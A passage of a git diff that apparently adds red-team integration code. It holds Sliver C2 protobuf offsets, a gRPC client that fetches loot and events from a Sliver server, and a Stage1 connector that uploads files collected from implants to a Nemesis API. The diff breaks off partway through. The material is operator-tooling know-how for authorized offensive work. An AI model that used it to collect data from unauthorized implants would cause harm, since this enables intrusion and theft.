_SETENVREQ._serialized_end=6789 + _SETENV._serialized_start=6791 + _SETENV._serialized_end=6837 + _UNSETENVREQ._serialized_start=6839 + _UNSETENVREQ._serialized_end=6902 + _UNSETENV._serialized_start=6904 + _UNSETENV._serialized_end=6952 + _DNSSESSIONINIT._serialized_start=6954 + _DNSSESSIONINIT._serialized_end=6983 + _DNSPOLL._serialized_start=6985 + _DNSPOLL._serialized_end=7036 + _DNSBLOCKHEADER._serialized_start=7038 + _DNSBLOCKHEADER._serialized_end=7080 + _HTTPSESSIONINIT._serialized_start=7082 + _HTTPSESSIONINIT._serialized_end=7112 + _SCREENSHOTREQ._serialized_start=7114 + _SCREENSHOTREQ._serialized_end=7165 + _SCREENSHOT._serialized_start=7167 + _SCREENSHOT._serialized_end=7231 + _STARTSERVICEREQ._serialized_start=7234 + _STARTSERVICEREQ._serialized_end=7390 + _SERVICEINFO._serialized_start=7392 + _SERVICEINFO._serialized_end=7443 + _SERVICEINFOREQ._serialized_start=7445 + _SERVICEINFOREQ._serialized_end=7500 + _STOPSERVICEREQ._serialized_start=7502 + _STOPSERVICEREQ._serialized_end=7601 + _REMOVESERVICEREQ._serialized_start=7603 + _REMOVESERVICEREQ._serialized_end=7704 + _REGISTRYREADREQ._serialized_start=7706 + _REGISTRYREADREQ._serialized_end=7818 + _REGISTRYREAD._serialized_start=7820 + _REGISTRYREAD._serialized_end=7887 + _REGISTRYWRITEREQ._serialized_start=7890 + _REGISTRYWRITEREQ._serialized_end=8097 + _REGISTRYWRITE._serialized_start=8099 + _REGISTRYWRITE._serialized_end=8152 + _REGISTRYCREATEKEYREQ._serialized_start=8154 + _REGISTRYCREATEKEYREQ._serialized_end=8271 + _REGISTRYCREATEKEY._serialized_start=8273 + _REGISTRYCREATEKEY._serialized_end=8330 + _REGISTRYDELETEKEYREQ._serialized_start=8332 + _REGISTRYDELETEKEYREQ._serialized_end=8449 + _REGISTRYDELETEKEY._serialized_start=8451 + _REGISTRYDELETEKEY._serialized_end=8508 + _REGISTRYSUBKEYLISTREQ._serialized_start=8510 + _REGISTRYSUBKEYLISTREQ._serialized_end=8615 + _REGISTRYSUBKEYLIST._serialized_start=8617 + _REGISTRYSUBKEYLIST._serialized_end=8692 + _REGISTRYLISTVALUESREQ._serialized_start=8694 + _REGISTRYLISTVALUESREQ._serialized_end=8799 + _REGISTRYVALUESLIST._serialized_start=8801 + _REGISTRYVALUESLIST._serialized_end=8879 + _TUNNEL._serialized_start=8881 + _TUNNEL._serialized_end=8930 + _TUNNELDATA._serialized_start=8933 + _TUNNELDATA._serialized_end=9124 + _SHELLREQ._serialized_start=9126 + _SHELLREQ._serialized_end=9240 + _SHELL._serialized_start=9242 + _SHELL._serialized_end=9355 + _PORTFWDREQ._serialized_start=9357 + _PORTFWDREQ._serialized_end=9473 + _PORTFWD._serialized_start=9475 + _PORTFWD._serialized_end=9590 + _SOCKS._serialized_start=9592 + _SOCKS._serialized_end=9640 + _SOCKSDATA._serialized_start=9643 + _SOCKSDATA._serialized_end=9799 + _PIVOTSTARTLISTENERREQ._serialized_start=9802 + _PIVOTSTARTLISTENERREQ._serialized_end=9934 + _PIVOTSTOPLISTENERREQ._serialized_start=9936 + _PIVOTSTOPLISTENERREQ._serialized_end=10006 + _PIVOTLISTENER._serialized_start=10009 + _PIVOTLISTENER._serialized_end=10170 + _PIVOTHELLO._serialized_start=10172 + _PIVOTHELLO._serialized_end=10271 + _PIVOTSERVERKEYEXCHANGE._serialized_start=10273 + _PIVOTSERVERKEYEXCHANGE._serialized_end=10335 + _PIVOTPEER._serialized_start=10337 + _PIVOTPEER._serialized_end=10382 + _PIVOTPEERENVELOPE._serialized_start=10385 + _PIVOTPEERENVELOPE._serialized_end=10515 + _PIVOTPING._serialized_start=10517 + _PIVOTPING._serialized_end=10543 + _NETCONNPIVOT._serialized_start=10545 + _NETCONNPIVOT._serialized_end=10602 + _PIVOTPEERFAILURE._serialized_start=10604 + _PIVOTPEERFAILURE._serialized_end=10696 + _PIVOTLISTENERSREQ._serialized_start=10698 + _PIVOTLISTENERSREQ._serialized_end=10753 + _PIVOTLISTENERS._serialized_start=10755 + _PIVOTLISTENERS._serialized_end=10853 + _WGPORTFORWARDSTARTREQ._serialized_start=10855 + _WGPORTFORWARDSTARTREQ._serialized_end=10956 + _WGPORTFORWARD._serialized_start=10958 + _WGPORTFORWARD._serialized_end=11056 + _WGPORTFORWARDSTOPREQ._serialized_start=11058 + _WGPORTFORWARDSTOPREQ._serialized_end=11128 + _WGSOCKSSTARTREQ._serialized_start=11130 + _WGSOCKSSTARTREQ._serialized_end=11197 + _WGSOCKS._serialized_start=11199 + _WGSOCKS._serialized_end=11287 + _WGSOCKSSTOPREQ._serialized_start=11289 + _WGSOCKSSTOPREQ._serialized_end=11353 + _WGTCPFORWARDERSREQ._serialized_start=11355 + _WGTCPFORWARDERSREQ._serialized_end=11411 + _WGSOCKSSERVERSREQ._serialized_start=11413 + _WGSOCKSSERVERSREQ._serialized_end=11468 + _WGTCPFORWARDER._serialized_start=11470 + _WGTCPFORWARDER._serialized_end=11537 + _WGSOCKSSERVER._serialized_start=11539 + _WGSOCKSSERVER._serialized_end=11585 + _WGSOCKSSERVERS._serialized_start=11587 + _WGSOCKSSERVERS._serialized_end=11683 + _WGTCPFORWARDERS._serialized_start=11685 + _WGTCPFORWARDERS._serialized_end=11786 + _RECONFIGUREREQ._serialized_start=11788 + _RECONFIGUREREQ._serialized_end=11913 + _RECONFIGURE._serialized_start=11915 + _RECONFIGURE._serialized_end=11966 + _POLLINTERVALREQ._serialized_start=11968 + _POLLINTERVALREQ._serialized_end=12043 + _POLLINTERVAL._serialized_start=12045 + _POLLINTERVAL._serialized_end=12097 + _SSHCOMMANDREQ._serialized_start=12100 + _SSHCOMMANDREQ._serialized_end=12302 + _SSHCOMMAND._serialized_start=12304 + _SSHCOMMAND._serialized_end=12386 + _GETPRIVSREQ._serialized_start=12388 + _GETPRIVSREQ._serialized_end=12437 + _WINDOWSPRIVILEGEENTRY._serialized_start=12440 + _WINDOWSPRIVILEGEENTRY._serialized_end=12581 + _GETPRIVS._serialized_start=12584 + _GETPRIVS._serialized_end=12730 + _REGISTEREXTENSIONREQ._serialized_start=12732 + _REGISTEREXTENSIONREQ._serialized_end=12844 + _REGISTEREXTENSION._serialized_start=12846 + _REGISTEREXTENSION._serialized_end=12903 + _CALLEXTENSIONREQ._serialized_start=12905 + _CALLEXTENSIONREQ._serialized_end=13024 + _CALLEXTENSION._serialized_start=13026 + _CALLEXTENSION._serialized_end=13116 + _LISTEXTENSIONSREQ._serialized_start=13118 + _LISTEXTENSIONSREQ._serialized_end=13173 + _LISTEXTENSIONS._serialized_start=13175 + _LISTEXTENSIONS._serialized_end=13244 + _RPORTFWDSTOPLISTENERREQ._serialized_start=13246 + _RPORTFWDSTOPLISTENERREQ._serialized_end=13319 + _RPORTFWDSTARTLISTENERREQ._serialized_start=13322 + _RPORTFWDSTARTLISTENERREQ._serialized_end=13468 + _RPORTFWDLISTENER._serialized_start=13471 + _RPORTFWDLISTENER._serialized_end=13623 + _RPORTFWDLISTENERS._serialized_start=13625 + _RPORTFWDLISTENERS._serialized_end=13729 + _RPORTFWDLISTENERSREQ._serialized_start=13731 + _RPORTFWDLISTENERSREQ._serialized_end=13789 + _RPORTFWD._serialized_start=13791 + _RPORTFWD._serialized_end=13907 + _RPORTFWDREQ._serialized_start=13909 + _RPORTFWDREQ._serialized_end=14026 + _CHMODREQ._serialized_start=14028 + _CHMODREQ._serialized_end=14125 + _CHMOD._serialized_start=14127 + _CHMOD._serialized_end=14186 + _CHOWNREQ._serialized_start=14188 + _CHOWNREQ._serialized_end=14293 + _CHOWN._serialized_start=14295 + _CHOWN._serialized_end=14354 + _CHTIMESREQ._serialized_start=14356 + _CHTIMESREQ._serialized_end=14448 + _CHTIMES._serialized_start=14450 + _CHTIMES._serialized_end=14511 + _MEMFILESLISTREQ._serialized_start=14513 + _MEMFILESLISTREQ._serialized_end=14566 + _MEMFILESADDREQ._serialized_start=14568 + _MEMFILESADDREQ._serialized_end=14620 + _MEMFILESADD._serialized_start=14622 + _MEMFILESADD._serialized_end=14685 + _MEMFILESRMREQ._serialized_start=14687 + _MEMFILESRMREQ._serialized_end=14750 + _MEMFILESRM._serialized_start=14752 + _MEMFILESRM._serialized_end=14814 + _REGISTERWASMEXTENSIONREQ._serialized_start=14816 + _REGISTERWASMEXTENSIONREQ._serialized_end=14908 + _REGISTERWASMEXTENSION._serialized_start=14910 + _REGISTERWASMEXTENSION._serialized_end=14971 + _DEREGISTERWASMEXTENSIONREQ._serialized_start=14973 + _DEREGISTERWASMEXTENSIONREQ._serialized_end=15051 + _LISTWASMEXTENSIONSREQ._serialized_start=15053 + _LISTWASMEXTENSIONSREQ._serialized_end=15112 + _LISTWASMEXTENSIONS._serialized_start=15114 + _LISTWASMEXTENSIONS._serialized_end=15187 + _EXECWASMEXTENSIONREQ._serialized_start=15190 + _EXECWASMEXTENSIONREQ._serialized_end=15423 + _EXECWASMEXTENSIONREQ_MEMFSENTRY._serialized_start=15379 + _EXECWASMEXTENSIONREQ_MEMFSENTRY._serialized_end=15423 + _EXECWASMEXTENSION._serialized_start=15425 + _EXECWASMEXTENSION._serialized_end=15532 +# @@protoc_insertion_point(module_scope) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py new file mode 100644 index 0000000..2daafff --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py @@ -0,0 +1,4 @@ +# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! +"""Client and server classes corresponding to protobuf-defined services.""" +import grpc + diff --git a/cmd/connectors/sliver-connector/sliver_service/sliver.py b/cmd/connectors/sliver-connector/sliver_service/sliver.py new file mode 100644 index 0000000..d407612 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/sliver.py @@ -0,0 +1,205 @@ +# Heavily inspired/stolen from https://github.com/moloch--/sliver-py +from __future__ import annotations +import logging +import json +import os +from typing import AsyncGenerator, List, Union + +import grpc + +from sliver_service.pb.rpcpb.services_pb2_grpc import SliverRPCStub +from sliver_service.pb.clientpb import client_pb2 +from sliver_service.pb.commonpb import common_pb2 + + +KB = 1024 +MB = 1024 * KB +GB = 1024 * MB +TIMEOUT = 60 + + + +class SliverClientConfig(object): + """ + This class parses and represents Sliver operator configuration files, typically this class is automatically + instantiated using one of the class methods :class:`SliverClientConfig.parse_config()` or :class:`SliverClientConfig.parse_config_file()` but can be directly + instantiated too. + + :param operator: Operator name, note that this value is only used by the client and is ignored by the server. + :param lhost: The listener host to connect to (i.e., the Sliver server host). + :param lhost: The TCP port of the host listener (i.e., the TCP port of the Sliver "multiplayer" service). + :param ca_certificate: The Sliver server certificate authority. + :param certificate: The mTLS client certificate. + :param private_key: The mTLS private key. + :param token: The user's authentication token. + + :raises ValueError: A parameter contained an invalid value. + """ + + def __init__( + self, + operator: str, + lhost: str, + lport: int, + ca_certificate: str, + certificate: str, + private_key: str, + token: str, + ): + self.operator = operator + self.lhost = lhost + if not 0 < lport < 65535: + raise ValueError("Invalid lport %d" % lport) + self.lport = lport + self.ca_certificate = ca_certificate + self.certificate = certificate + self.private_key = private_key + self.token = token + + def __str__(self): + return "%s@%s:%d" % ( + self.operator, + self.lhost, + self.lport, + ) + + def __repr__(self): + return "" % ( + self.operator, + self.lhost, + self.lport, + self.ca_certificate, + self.certificate, + ) + + @classmethod + def parse_config(cls, data: Union[str, bytes]) -> SliverClientConfig: + """Parses the content of a Sliver operator configuration file and + returns the instantiated :class:`SliverClientConfig` + + :param data: The Sliver operator configuration file content. + :type data: Union[str, bytes] + :return: An instantiated :class:`SliverClientConfig` object. + :rtype: SliverClientConfig + """ + return cls(**json.loads(data)) + + @classmethod + def parse_config_file(cls, filepath: os.PathLike[str]) -> SliverClientConfig: + """Parse a given file path as a Sliver operator configuration file. + + :param filepath: File system path to an operator configuration file. + :type filepath: str + :return: An instantiated :class:`SliverClientConfig` object. + :rtype: SliverClientConfig + """ + with open(filepath, "r") as fp: + data = fp.read() + return cls.parse_config(data) + + +class BaseClient(object): + + # 2GB triggers an overflow error in the gRPC library so we do 2GB-1 + MAX_MESSAGE_LENGTH = (2 * GB) - 1 + + KEEP_ALIVE_TIMEOUT = 10000 + CERT_COMMON_NAME = "multiplayer" + + def __init__(self, config: SliverClientConfig): + self.config = config + self._channel: grpc.aio.Channel = None # type: ignore[assignment] + self._stub: SliverRPCStub = None # type: ignore[assignment] + self._log = logging.getLogger(self.__class__.__name__) + + def is_connected(self) -> bool: + return self._channel is not None + + @property + def target(self) -> str: + return "%s:%d" % ( + self.config.lhost, + self.config.lport, + ) + + @property + def credentials(self) -> grpc.ChannelCredentials: + return grpc.composite_channel_credentials( + grpc.ssl_channel_credentials( + root_certificates=self.config.ca_certificate.encode(), + private_key=self.config.private_key.encode(), + certificate_chain=self.config.certificate.encode(), + ), + grpc.access_token_call_credentials( + access_token=self.config.token, + ), + ) + + @property + def options(self): + return [ + ("grpc.keepalive_timeout_ms", self.KEEP_ALIVE_TIMEOUT), + ("grpc.ssl_target_name_override", self.CERT_COMMON_NAME), + ("grpc.max_send_message_length", self.MAX_MESSAGE_LENGTH), + ("grpc.max_receive_message_length", self.MAX_MESSAGE_LENGTH), + ] + + +class SliverClient(BaseClient): + + """Asyncio client implementation""" + + beacon_event_types = ["beacon-registered"] + session_event_types = ["session-connected", "session-disconnected"] + job_event_types = ["job-started", "job-stopped"] + canary_event_types = ["canary"] + + async def connect(self) -> client_pb2.Version: + """Establish a connection to the Sliver server + + :return: Protobuf Version object, containing the server's version information + :rtype: client_pb2.Version + """ + self._channel = grpc.aio.secure_channel( + target=self.target, + credentials=self.credentials, + options=self.options, + ) + self._stub = SliverRPCStub(self._channel) + return await self.version() + + async def version(self, timeout=TIMEOUT) -> client_pb2.Version: + """Get server version information + + :param timeout: gRPC timeout, defaults to 60 seconds + :type timeout: int, optional + :return: Protobuf Version object + :rtype: client_pb2.Version + """ + return await self._stub.GetVersion(common_pb2.Empty(), timeout=timeout) + + async def loot_all(self) -> List[client_pb2.Loot]: + """Get all loot + + :return: List of Protobuf Loot objects + :rtype: List[client_pb2.Loot] + """ + return (await self._stub.LootAll(common_pb2.Empty())) + + async def loot_content(self, loot: client_pb2.Loot) -> client_pb2.Loot: + """Get loot content + + :param loot: Protobuf Loot object + :type loot: client_pb2.Loot + :return: Protobuf Loot object + :rtype: client_pb2.Loot + """ + return await self._stub.LootContent(loot) + + def events(self) -> AsyncGenerator[client_pb2.Event, None]: + """Get events + + :return: AsyncGenerator of Protobuf Event objects + :rtype: AsyncGenerator[client_pb2.Event, None] + """ + return self._stub.Events(common_pb2.Empty()) diff --git a/cmd/connectors/sliver-connector/start.sh b/cmd/connectors/sliver-connector/start.sh new file mode 100644 index 0000000..4fbf1fe --- /dev/null +++ b/cmd/connectors/sliver-connector/start.sh @@ -0,0 +1,2 @@ +#!/bin/sh +sudo docker-compose up --build diff --git a/cmd/connectors/stage1-connector/.gitignore b/cmd/connectors/stage1-connector/.gitignore new file mode 100644 index 0000000..ddf4581 --- /dev/null +++ b/cmd/connectors/stage1-connector/.gitignore @@ -0,0 +1,163 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +process_categorizer-data/ +# Ignore dynaconf secret files +.secrets.* diff --git a/cmd/connectors/stage1-connector/.isort.cfg b/cmd/connectors/stage1-connector/.isort.cfg new file mode 100644 index 0000000..bc35313 --- /dev/null +++ b/cmd/connectors/stage1-connector/.isort.cfg @@ -0,0 +1,16 @@ +[settings] +profile=black +extra_standard_library=asgiref +known_first_party=nemesis_connector +known_outflank_stage1=outflank_stage1 +src_paths=isort,test +line_length=90 +use_parentheses=True +multi_line_output=3 +include_trailing_comma=True +ensure_newline_before_comments=True +sections=FUTURE,STDLIB,outflank_stage1,THIRDPARTY,FIRSTPARTY,LOCALFOLDER +import_heading_stdlib=Standard Libraries +import_heading_firstparty=Nemesis Connector +import_heading_outflank_stage1=Outflank Stage1 Libraries +import_heading_thirdparty=3rd Party Libraries \ No newline at end of file diff --git a/cmd/connectors/stage1-connector/.python-version b/cmd/connectors/stage1-connector/.python-version new file mode 100644 index 0000000..d5cd4cc --- /dev/null +++ b/cmd/connectors/stage1-connector/.python-version @@ -0,0 +1 @@ +3.10.10 diff --git a/cmd/connectors/stage1-connector/.vscode/launch.json b/cmd/connectors/stage1-connector/.vscode/launch.json new file mode 100644 index 0000000..eb812c3 --- /dev/null +++ b/cmd/connectors/stage1-connector/.vscode/launch.json @@ -0,0 +1,20 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Service: enrichment", + "type": "python", + "request": "launch", + "program": "${workspaceFolder}/enrichment/__main__.py", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": false, + "env": { + "NEMESIS_URL": "http://192.168.230.42:8080/api/" + } + } + ] +} \ No newline at end of file diff --git a/cmd/connectors/stage1-connector/.vscode/settings.json b/cmd/connectors/stage1-connector/.vscode/settings.json new file mode 100644 index 0000000..89f6a50 --- /dev/null +++ b/cmd/connectors/stage1-connector/.vscode/settings.json @@ -0,0 +1,66 @@ +{ + "[javascript]": { + "editor.formatOnSave": false + }, + "[html]": { + "editor.formatOnSave": false + }, + "[python]": { + "editor.formatOnSave": true, + "editor.codeActionsOnSave": { + "source.organizeImports": true + }, + "editor.defaultFormatter": "ms-python.black-formatter" + }, + "editor.formatOnSave": true, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.mypy_cache": true, + "**/.pytest_cache": true, + "**/.svn": true, + "**/.venv": true, + "**/__pycache__": true, + "**/Thumbs.db": true + }, + "files.trimTrailingWhitespace": true, + "files.watcherExclude": { + "**/__pycache__/**": true, + "**/.git/objects/**": true, + "**/.git/subtree-cache/**": true, + "**/.hg/store/**": true, + "**/.ipynb_checkpoints/**": true, + "**/.mypy_cache/**": true, + "**/.pytest_cache/**": true, + "**/.venv/**": true, + "**/*.egg-info/**": true, + "**/build/**": true, + "**/dist/**": true, + "**/node_modules/*/**": true, + }, + "python.analysis.diagnosticSeverityOverrides": { + "reportMissingImports": "none", + "reportMissingModuleSource": "none", + }, + "python.formatting.provider": "black", + "python.formatting.blackArgs": [ + "--line-length", + "240" + ], + "python.analysis.useLibraryCodeForTypes": true, // Pyright + "python.linting.enabled": true, + "python.linting.flake8Args": [ + "--max-line-length=240", + "--ignore=E203,E722,W503", + ], + "python.linting.flake8Enabled": true, + "python.linting.lintOnSave": true, + "python.linting.pylintEnabled": false, + "python.testing.pytestArgs": [ + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "python.analysis.typeCheckingMode": "basic", +} \ No newline at end of file diff --git a/cmd/connectors/stage1-connector/.vscode/tasks.json b/cmd/connectors/stage1-connector/.vscode/tasks.json new file mode 100644 index 0000000..f016c49 --- /dev/null +++ b/cmd/connectors/stage1-connector/.vscode/tasks.json @@ -0,0 +1,17 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Restart bot_engine", + "type": "shell", + "command": "docker-compose kill bot_engine && docker-compose up -d bot_engine", + "problemMatcher": [], + "group": { + "kind": "build", + "isDefault": true + } + } + ] +} \ No newline at end of file diff --git a/cmd/connectors/stage1-connector/Dockerfile b/cmd/connectors/stage1-connector/Dockerfile new file mode 100644 index 0000000..8e35075 --- /dev/null +++ b/cmd/connectors/stage1-connector/Dockerfile @@ -0,0 +1,2 @@ +FROM server_bot_engine:latest + diff --git a/cmd/connectors/stage1-connector/README.md b/cmd/connectors/stage1-connector/README.md new file mode 100644 index 0000000..f09940d --- /dev/null +++ b/cmd/connectors/stage1-connector/README.md @@ -0,0 +1,12 @@ +# Setup +The OST Stage1 connector runs as an OST bot (refer to their installation instructions for where to put the python file). + +The following environment variables configure the container: +- `NEMESIS_URL` - The URI of Nemesis's API (e.g., http://10.0.0.1:8080/api/) +- `NEMESIS_USERNAME` - Username for the Nemesis API +- `NEMESIS_PASSWORD` - Password for the Nemesis API +- `NEMESIS_PROJECT` - Name of the project being worked on (e.g., ACME-CORP) +- `NEMESIS_EXPIRATION_DAYS` - Days until the data should expire and be deleted +- `NEMESIS_LOG_LEVEL` - Logging level (e.g., DEBUG/INFO) + +These can be set via stage1's docker-compose file or by hardcoding them in [nemesis_connector.py](nemesis_connector/nemesis_connector.py) \ No newline at end of file diff --git a/cmd/connectors/stage1-connector/nemesis_connector/__init__.py b/cmd/connectors/stage1-connector/nemesis_connector/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/connectors/stage1-connector/nemesis_connector/config.toml b/cmd/connectors/stage1-connector/nemesis_connector/config.toml new file mode 100644 index 0000000..a169061 --- /dev/null +++ b/cmd/connectors/stage1-connector/nemesis_connector/config.toml @@ -0,0 +1 @@ +url = "https://192.168.230.42:8080/api/" diff --git a/cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py b/cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py new file mode 100644 index 0000000..9427d7f --- /dev/null +++ b/cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py @@ -0,0 +1,420 @@ +# Standard Libraries +import asyncio +import logging +import os +from dataclasses import dataclass +from datetime import datetime, timedelta +from enum import Enum +from typing import Any, NewType, Optional +from urllib.parse import urlparse +from uuid import UUID + +# Outflank Stage1 Libraries +from outflank_stage1 import Config +from outflank_stage1.bot import BaseBot +from outflank_stage1.implant import Implant +from outflank_stage1.services.implant_service import ImplantService +from outflank_stage1.task import BaseTask +# 3rd Party Libraries +from pip._internal import main as pipmain + +# Hard code creds if you don't want to bother editing OST's docker-compose file +# os.environ["NEMESIS_URL"] = "http://192.168.230.42:8080/api/" +# os.environ["NEMESIS_USERNAME"] = "nemesis" +# os.environ["NEMESIS_PASSWORD"] = "Password123" +# os.environ["NEMESIS_PROJECT"] = "ACME" +# os.environ["NEMESIS_EXPIRATION_DAYS"] = "365" +# os.environ["NEMESIS_LOG_LEVEL"] = "DEBUG" + +# Ugly hack so we don't have to customize stage1's docker container +# Assumes the docker container has internet access so it can install pip packages +packages = ["httpx", "dynaconf", "pydantic"] +res = pipmain(["--disable-pip-version-check", "install", "--root-user-action=ignore"] + packages) +if res != 0: + raise Exception("NemesisConnector was unable to install pip dependencies. Exiting...") + +# 3rd Party Libraries +import httpx # noqa +from dynaconf import Dynaconf, Validator # noqa +from dynaconf.base import Settings # noqa +from pydantic.types import PositiveInt # noqa + + +def is_uri(value: str) -> bool: + if value is None: + return False + try: + url = urlparse(value) + if url.scheme == "" or url.netloc == "": + return False + if url.scheme.lower() not in ["http", "https"]: + return False + + return True + except ValueError: + return False + + +# set environment variables +validators = [ + Validator("URL", "USERNAME", "PASSWORD", must_exist=True), + Validator("url", condition=is_uri, messages={"condition": "Invalid/missing protocol scheme and/or hostname"}) +] +settings: Settings = Dynaconf(envvar_prefix="NEMESIS", validators=validators) # type: ignore +settings.validators.validate() + + +@dataclass +class NemesisConnectorConfig: + url: str + username: str + password: str + project: str + expiration_days: PositiveInt = 365 + log_level: str = "INFO" + + +cfg = NemesisConnectorConfig( + url=settings.get("URL"), + username=settings.get("username"), + password=settings.get("password"), + project=settings.get("project"), + expiration_days=settings.get("expiration_days", 365), + log_level=settings.get("log_level", "INFO"), +) + +logger = logging.getLogger("NemesisConnector") +queue = asyncio.Queue() + + +NemesisFileId = NewType("NemesisFileId", UUID) +NemesisMessageId = NewType("NemesisMessageId", UUID) + + +@dataclass +class FileUploadRequest: + file_path: str + + +@dataclass +class FileUploadResponse: + object_id: NemesisFileId + + +class NemesisAgent(Enum): + COBALTSTRIKE_BEACON = "cobaltstrike_beacon" + MANUAL = "manual" # For manually uploaded data + MERLIN = "merlin" + METASPLOIT_METERPRETER = "metasploit_meterpreter" + MYTHIC = "mythic" + SLIVER = "sliver" + STAGE1 = "stage1" + + +class NemesisDataType(Enum): + FileData = "file_data" + + +@dataclass +class Metadata: + agent_id: str + agent_type: str + automated: bool + data_type: NemesisDataType + expiration: datetime + source: str + project: str + timestamp: datetime + + def to_dict(self) -> dict[str, Any]: + out = { + "agent_id": self.agent_id, + "agent_type": self.agent_type, + "automated": self.automated, + "data_type": self.data_type.value, + "expiration": convert_to_nemesis_timestamp(self.expiration), + # "source": self.source, + "project": self.project, + "timestamp": convert_to_nemesis_timestamp(self.timestamp), + } + return out + + +@dataclass +class FileData: + path: str + size: PositiveInt + object_id: NemesisFileId + + +@dataclass +class FileDataRequest: + metadata: Metadata + data: list[FileData] + + +@dataclass +class DataResponse: + object_id: NemesisMessageId + + +class NemesisApiClient: + client: httpx.Client + + FILE_ENDPOINT = "/file" + DATA_ENDPOINT = "/data" + + def __init__(self, url: str, auth: Optional[httpx.Auth] = None, transport: Optional[httpx.BaseTransport] = httpx.HTTPTransport(retries=5)) -> None: + """Create a new Nemesis API HTTP client. + + Args: + url (str): Base URL to the Nemesis API. Example: https://nemesis.example.com/api/ + auth (Optional[httpx.Auth]): Authentication to use for the API + """ + + self.client = httpx.Client(base_url=url, auth=auth, transport=transport) + headers = {"Content-Type": "application/octet-stream"} + self.client.headers.update(headers) + + def send_file(self, r: FileUploadRequest) -> FileUploadResponse: + """Uploads a file to Nemesis and returns a Nemesis file object UUID. + + Args: + data (FileDataRequest): API request parameters + + Raises: + httpx.HttpStatusError: An exception containing information about HTTP error code and response body + + Returns: + FileUploadResponse: Structure containing the fild object UUID + """ + if not os.path.isfile(r.file_path): + raise Exception(f"File {r.file_path} does not exist") + + # TODO: Stream the file instead of reading all bytes into memory + with open(r.file_path, "rb") as f: + data = f.read() + resp = self.client.post(self.FILE_ENDPOINT, content=data) + + resp.raise_for_status() + + obj = resp.json() + return FileUploadResponse(NemesisFileId(obj["object_id"])) + + def send_file_data(self, data: FileDataRequest) -> DataResponse: + """Uploads a file_data object to Nemesis and returns a Nemesis file object UUID. + + Args: + data (FileDataRequest): file_data object to up send to Nemesis + + Raises: + httpx.HttpStatusError: An exception containing information about HTTP error code and response body + + Returns: + DataResponse: Structure containing the object_id of the data message + """ + + json = { + "metadata": { + "agent_id": data.metadata.agent_id, + "agent_type": data.metadata.agent_type, + "automated": data.metadata.automated, + "data_type": data.metadata.data_type.value, + "expiration": convert_to_nemesis_timestamp(data.metadata.expiration), + # "source": data.metadata.source, + "project": data.metadata.project, + "timestamp": convert_to_nemesis_timestamp(data.metadata.timestamp), + }, + "data": [], + } + + for d in data.data: + json["data"].append( + { + "path": d.path, + "size": d.size, + "object_id": d.object_id, + } + ) + + resp = self.client.post(self.DATA_ENDPOINT, json=json) + + resp.raise_for_status() + + obj = resp.json() + return 